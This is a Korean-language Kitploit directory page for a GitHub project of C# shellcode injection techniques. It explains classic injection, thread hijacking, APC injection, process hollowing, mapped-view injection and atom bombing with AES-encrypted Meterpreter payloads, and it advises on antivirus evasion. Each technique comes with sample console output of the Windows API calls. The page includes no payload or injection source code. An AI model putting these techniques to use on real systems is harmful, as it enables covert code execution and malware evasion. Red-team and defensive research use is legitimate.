Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Shellcode-Injection-Techniques — C# implementations of shellcode injection techniques including classic injection, thread hijacking, process hollowing, and atom bombing, using AES-encrypted Meterpreter payloads for AV evasion research. | Kitploit
도구/GitHubGitHub/plackyhacker/shellcode-injection-techniques
ExploitationShellcodePost-ExploitationRed Teaming
GitHubplackyhacker/shellcode-injection-techniques

Shellcode-Injection-Techniques

C# implementations of shellcode injection techniques including classic injection, thread hijacking, process hollowing, and atom bombing, using AES-encrypted Meterpreter payloads for AV evasion research.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
466924년 전Kitploit 검토 완료

쉘코드 인젝션 기법

C# 쉘코드 인젝션 기법 모음입니다. 모든 기법은 AES 암호화된 meterpreter 페이로드를 사용합니다.

더 많은 기법을 배우고, 발견하거나 개발함에 따라 이 프로젝트를 업데이트할 예정입니다.

참고: 이 프로젝트는 있는 그대로 사용하기 위한 것이 아닙니다. 기법을 사용하려면 선택한 기법으로 더 작고 맞춤화된 프로젝트를 만들면 AV 우회 가능성이 높아집니다.

이 저장소의 코드를 사용한다면 합법적으로 사용하세요!

어셈블리 인젝션

디스크에 .Net 바이너리를 작성하지 않으려면 PowerShell 어셈블리 인젝션 기법을 사용할 수 있습니다.

쉘코드 실행기

ShellcodeRunner.cs : 이 기법은 엄밀히 말해 인젝션 기법은 아닙니다(동일한 프로세스에서 쉘코드를 실행하기 때문). 그러나 모든 기법 중 가장 간단합니다. unsafe 컨텍스트에서 쉘코드가 고정된 메모리 위치를 사용하도록 합니다. 쉘코드가 있는 페이지의 보호를 변경하여 실행할 수 있도록 합니다. 그런 다음 C# 델리게이트 함수를 사용하여 쉘코드를 실행합니다.

root@kitploit:~
[+] Using technique: ShellcodeInjectionTechniques.ShellcodeRunner
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x20D000418E0
[+] Executing shellcode - memory address: 0x20D000418E0

클래식 인젝션

ClassicInjection.cs : 이 기법은 대상 프로세스에 메모리를 할당하고, 쉘코드를 주입한 후 새 스레드를 시작합니다.

root@kitploit:~
[+] Found process: 24484
[+] Using technique: ShellcodeInjectionTechniques.ClassicInjection
[+] VirtualAllocEx(), assigned: 0x23642220000
[+] WriteProcessMemory() - remote address: 0x23642220000
[+] CreateRemoteThread() - thread handle: 0x380

스레드 하이재킹

ThreadHijack.cs : 이 기법은 대상 프로세스에 코드를 주입하여 스레드를 하이재킹하고, 하이재킹된 스레드를 일시 중단한 후 명령 포인터(RIP)를 주입된 코드로 설정한 다음 스레드를 재개합니다.

root@kitploit:~
[+] Found process: 11508
[+] Using technique: ShellcodeInjectionTechniques.ThreadHijack
[+] Found thread: 9344
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x1D17AB80000
[+] WriteProcessMemory() - remote address: 0x1D17AB80000
[+] SuspendThread() - thread handle: 0x378
[+] GetThreadContext() - thread handle: 0x378
[+] RIP is: 0x7FFA77D21104
[+] SetThreadContext(), RIP assigned: 0x1D17AB80000
[+] ResumeThread() - thread handle: 0x378

로컬 스레드 하이재킹

LocalThreadHijack.cs : 이 기법은 일시 중단 상태의 새 로컬 스레드를 만든 다음 스레드를 하이재킹하고, 명령 포인터(RIP)를 주입된 코드로 설정한 후 스레드를 재개합니다.

root@kitploit:~
[+] Using technique: ShellcodeInjectionTechniques.LocalThreadHijack
[+] CreateThread() - thread handle: 0x374
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x270800418E0
[+] GetThreadContext() - thread handle: 0x374
[+] RIP is: 0x7FFA79EE2630
[+] SetThreadContext(), RIP assigned: 0x270800418E0
[+] ResumeThread() - thread handle: 0x374

비동기 프로시저 호출 인젝션

ACPInjection.cs : 이 기법은 스레드 하이재킹 기법과 유사합니다. 원격 스레드에 쉘코드를 주입한 다음 해당 스레드에 APC 객체를 큐에 넣습니다. 스레드가 알림 가능 상태(alertable state)에 진입하면(SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, 또는 WaitForSingleObjectEx 호출 시) 큐에 넣은 APC 객체가 가리키는 쉘코드가 실행됩니다.

root@kitploit:~
[+] Found process: 25320
[+] Using technique: ShellcodeInjectionTechniques.APCInjection
[+] Found thread: 23796
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x24E064D0000
[+] WriteProcessMemory() - remote address: 0x24E064D0000
[+] QueueUserAPC() - thread handle: 0x378

프로세스 할로잉

ProcessHollow.cs : 이 기법은 다른 프로세스(svchost.exe)를 일시 중단 상태로 시작한 다음, 메인 스레드의 진입점을 찾아 쉘코드를 주입한 후 스레드를 재개합니다.

root@kitploit:~
[+] Using technique: ShellcodeInjectionTechniques.ProcessHollow
[+] CreateProcess(): C:\Windows\System32\svchost.exe
[+] Pointer to ImageBase: 0xD31E956010
[+] ReadProcessMemory() - image base pointer: 0xD31E956010
[+] ImageBase: 0x7FF6116C0000
[+] ReadProcessMemory() - svchost base: 0x7FF6116C0000
[+] EntryPoint: 0xD31E956010
[+] WriteProcessMemory(): 0x7FF6116C4E80
[+] ResumeThread() - thread handle: 0x454

프로세스 간 매핑 뷰

InterProcessMappedView.cs : 이 기법은 메모리에 새 섹션을 만들고, 섹션의 로컬 매핑 뷰를 만든 후 쉘코드를 로컬 매핑 뷰에 복사하고, 대상 프로세스에 로컬 매핑 뷰의 원격 매핑 뷰를 만듭니다. 마지막으로 대상 프로세스에 매핑 뷰를 진입점으로 하는 새 스레드를 만듭니다.

root@kitploit:~
[+] Found process: 23740
[+] Using technique: ShellcodeInjectionTechniques.InterProcessMappedView
[+] NtCreateSection() - section handle: 0x37C
[+] NtMapViewOfSection() - local view: 0x20CB8E40000
[+] Marshalling shellcode
[+] NtMapViewOfSection() - remote view: 0x22D90310000
[+] RtlCreateUserThread() - thread handle: 0x384

아톰 폭격

AtomBomb.cs : 이 기법은 대상 프로세스에 쉘코드를 작성하는 방법이 흥미롭습니다. 글로벌 아톰 테이블(Global Atom Table)을 사용하여 최대 크기 255바이트의 null 종료 문자열을 작성할 수 있습니다. 쉘코드를 작성할 코드 케이브(code cave)를 찾은 다음 APC 호출을 사용하여 대상 프로세스가 아톰 이름을 메모리로 읽어오도록 트리거합니다. 마지막으로 두 개의 APC 호출을 사용하여 대상의 메모리 보호를 변경하고 쉘코드를 실행합니다.

제 코드는 C/C++로 작성된 원본 Atom Bombing 기법과 다릅니다. 첫째, 여러 APC를 사용하여 아톰 이름을 연결하여 255바이트보다 큰 쉘코드를 구성합니다. 대상 프로세스가 VirtualProtect를 호출한 다음 코드를 실행하도록 강제하기 위해 ROP 체인을 사용하지 않고 APC 큐를 사용합니다.

이 코드는 메인 스레드가 APC 큐를 실행하기 위해 알림 가능 상태(alertable state)에 진입해야 하며, 쉘코드 실행 후 정리하지 않으므로 대상 프로세스가 불안정해집니다. 이 기법을 개선할 계획이지만(알림 가능 스레드를 검색하고 이후 정리), PoC로서는 잘 작동합니다.

root@kitploit:~
[+] Found process: 14140
[+] Using technique: ShellcodeInjectionTechniques.AtomBomb
[+] Found thread: 5940
[+] OpenThread() - thread handle: 0xD0
[+] FindWritablePages() - number found: 2
[+] Found a suitable code cave - pWritable: 0x2CE60031
[+] GetProcAddress() - pGlobalGetAtomNameW: 0x7FFE20EB2680
[+] GlobalAddAtom() - ATOM: 0xC091
[+] NtQueueApcThread() - pWritable: 0x2CE60031
[+] GlobalAddAtom() - ATOM: 0xC06F
[+] NtQueueApcThread() - pWritable: 0x2CE600F9
[+] GlobalAddAtom() - ATOM: 0xC080
[+] NtQueueApcThread() - pWritable: 0x2CE601C1
[+] GlobalAddAtom() - ATOM: 0xC088
[+] NtQueueApcThread() - pWritable: 0x2CE60289
[+] GlobalAddAtom() - ATOM: 0xC084
[+] NtQueueApcThread() - pWritable: 0x2CE60351
[+] GetProcAddress() - pVirtualProtect: 0x7FFE20EBBC70
[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x2CE60031
[+] QueueUserAPC() - codeCave: 0x2CE60031

참고 사항

아톰 폭격 기법은 null 종료 문자열을 글로벌 아톰 테이블에 배치하므로, 0x00 문자가 없는 쉘코드를 사용해야 합니다.

쉘코드 실행기, 로컬 스레드 하이재킹 기법 또는 프로세스 할로잉 기법(이 기법은 일시 중단 상태의 새 프로세스를 시작함)을 사용하는 경우를 제외하고는 주입할 프로세스를 시작해야 합니다.

root@kitploit:~
[!] Unable to find process to inject into!

쉘코드 실행기, 로컬 스레드 하이재킹 기법 또는 프로세스 할로잉 기법을 사용할 때는 Program.cs에서 주입할 프로세스를 찾는 코드를 주석 처리해야 합니다:

root@kitploit:~
/*
Process[] processes = Process.GetProcessesByName("notepad");

if(processes.Length == 0)
{
  Debug("[!] Unable to find process to inject into!");
  return;
}

Debug("[+] Found process: {0}", new string[] { processes[0].Id.ToString() });
target = processes[0];
*/
도구 다운로드